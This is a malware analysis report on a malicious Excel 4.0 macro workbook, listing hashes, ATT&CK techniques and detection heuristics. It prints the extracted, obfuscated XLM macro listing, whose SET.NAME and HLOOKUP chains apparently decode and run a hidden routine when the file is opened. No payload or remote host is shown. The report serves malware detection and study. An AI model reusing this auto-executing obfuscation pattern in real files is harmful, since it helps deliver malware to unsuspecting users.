Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 76cf19d3372bb4e4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:33 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 9eb87ad1725adbdd10d437abdc14226e SHA-1: 84a43c331aa812f9d6e4bbfb5fbc1d0b5dd424ac SHA-256: 76cf19d3372bb4e45f5e5c9903e6adc2fda3d1c704942e8507be64a6c247bfbf
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The macros utilize dangerous formula APIs, including a RUN function, suggesting an intent to execute arbitrary code. While the exact payload is not visible, the presence of these elements strongly indicates a downloader or initial execution stage for a malicious artifact.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6563 bytes
SHA-256: 316f1bb657f7e1d9155d84db708e10ca3634dd1585b5f1d5320c8135e3244b57
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fdo
' 0018     22 LABEL : Cell Value, String Constant - AKqPdFk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G153 
' 0018     21 LABEL : Cell Value, String Constant - byILBG len=0 
' 0018     22 LABEL : Cell Value, String Constant - DljQoDM len=0 
' 0018     20 LABEL : Cell Value, String Constant - DVUgs len=0 
' 0018     21 LABEL : Cell Value, String Constant - ekehnR len=0 
' 0018     25 LABEL : Cell Value, String Constant - FkYGYghOVO len=0 
' 0018     23 LABEL : Cell Value, String Constant - gsNQWJaH len=0 
' 0018     22 LABEL : Cell Value, String Constant - hUdzGoX len=0 
' 0018     24 LABEL : Cell Value, String Constant - KorOwOOMg len=0 
' 0018     21 LABEL : Cell Value, String Constant - lQOGHX len=0 
' 0018     20 LABEL : Cell Value, String Constant - mdQMH len=0 
' 0018     26 LABEL : Cell Value, String Constant - MemwVMrOSyo len=0 
' 0018     24 LABEL : Cell Value, String Constant - obgkLsORl len=0 
' 0018     21 LABEL : Cell Value, String Constant - qaOJNo len=0 
' 0018     23 LABEL : Cell Value, String Constant - QdzJSNds len=0 
' 0018     24 LABEL : Cell Value, String Constant - rNlZvGoHv len=0 
' 0018     21 LABEL : Cell Value, String Constant - VxWxMF len=0 
' 0018     24 LABEL : Cell Value, String Constant - xSDXGoIAk len=0 
' 0018     26 LABEL : Cell Value, String Constant - zeKOYqsFUsx len=0 
' 0018     23 LABEL : Cell Value, String Constant - zPgaNVXo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fdo,Q46,"",219.00000000000000000000
'  fdo,Q47,"",-988.00000000000000000000
'  fdo,Q48,"",701.00000000000000000000
'  fdo,Q49,"",-368.00000000000000000000
'  fdo,Q50,"",-97.00000000000000000000
'  fdo,Q51,"",488.00000000000000000000
'  fdo,G61,"SET.NAME("qaOJNo",0+VALUE("0"))",""
'  fdo,G65,"SET.NAME("obgkLsORl",qaOJNo)",""
'  fdo,G68,"SET.NAME("DljQoDM",qaOJNo)",""
'  fdo,G70,"SET.NAME("ekehnR",COUNTA(MemwVMrOSyo))",""
'  fdo,G73,"SET.NAME("lQOGHX",COUNTA(VxWxMF))",""
'  fdo,G77,[],""
'  fdo,G81,"SET.NAME("FkYGYghOVO","")",""
'  fdo,G85,"obgkLsORl",""
'  fdo,G87,"SET.NAME("zeKOYqsFUsx",HLOOKUP("*",MemwVMrOSyo,obgkLsORl,FALSE))",""
'  fdo,G90,"hUdzGoX",""
'  fdo,G93,"SET.NAME("QdzJSNds",qaOJNo)",""
'  fdo,G98,[],""
'  fdo,G103,"QdzJSNds",""
'  fdo,G106,"KorOwOOMg",""
'  fdo,G109,"byILBG",""
'  fdo,G114,"gsNQWJaH",""
'  fdo,G118,"SET.NAME("mdQMH",VALUE(HLOOKUP("*",VxWxMF,gsNQWJaH,FALSE)))",""
'  fdo,G123,"AKqPdFk",""
'  fdo,G126,"FkYGYghOVO",""
'  fdo,G128,"DljQoDM",""
'  fdo,G132,NEXT(),""
'  fdo,G136,"xSDXGoIAk",""
'  fdo,G138,[],""
'  fdo,G142,"zPgaNVXo",""
'  fdo,G145,NEXT(),""
'  fdo,G148,RETURN(),""
'  fdo,G176,"SET.NAME("rNlZvGoHv",G61)",""
'  fdo,G179,"MemwVMrOSyo",""
'  fdo,G182,"SET.NAME("VxWxMF",R72C12)",""
'  fdo,G187,"SET.NAME("zPgaNVXo",195)",""
'  fdo,G192,"SET.NAME("DVUgs",7)",""
'  fdo,G194,rNlZvGoHv(),""
'  fdo,G195,HALT(),""

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